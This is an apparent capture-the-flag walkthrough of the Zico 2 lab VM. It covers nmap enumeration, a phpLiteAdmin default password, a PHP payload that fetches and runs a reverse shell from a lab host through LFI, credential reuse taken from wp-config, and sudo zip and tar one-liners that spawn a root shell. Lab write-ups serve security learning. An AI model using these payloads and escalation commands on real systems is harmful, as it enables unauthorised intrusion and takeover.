Zico 2

Start with nmap scan and found four open ports 22,80,111,42784

```
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Zico's Shop
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4      111/tcp  rpcbind
|   100000  2,3,4      111/udp  rpcbind
|   100024  1        38985/udp  status
|_  100024  1        42784/tcp  status
42784/tcp open  status  1 (RPC #100024)
```

in description of vm we found that there is custom cms and we have to explore that so, visiting port 80 and started enumeration
in directory brute forcing found a page **/dbadmin** where we found the vulnerable version of **phpliteadmin** with default password **admin** which is vulnerable to remote code injection, but we need LFI to exploit and get shell, so on enumerating the webpage found a link to /view.php with parameter **page** which is vulnerable to LFI

*Created a new table name hack with numer of fields 1

*In that field is set to 1, type is text, and default value is **<?php system("cd /tmp; wget http://10.0.0.1:8000/shell.php; chmod 777 shell.php; php shell.php")?>**

*The database is saved in **/usr/local/databases/hack.php**

Make php reverse shell with ip and port and host SimpleHttp server of python at that place and start a nc listner on port specified in exploit
Visit **http://10.0.0.128/view.php?page=../../usr/databases/hack.php** and reverse connection got as user www-data
In home directory of **zico** user found **wordpress** inside that in **wp-config** file found mysql passoword, that password worked when used as user zico to login
In sudo permissions found **tar** and **zip** , we can run as root so below commands for each of them to execute root shell with each of them

For zip

```
$ sudo zip wordpress-4.8.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
```

For tar

```
$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
```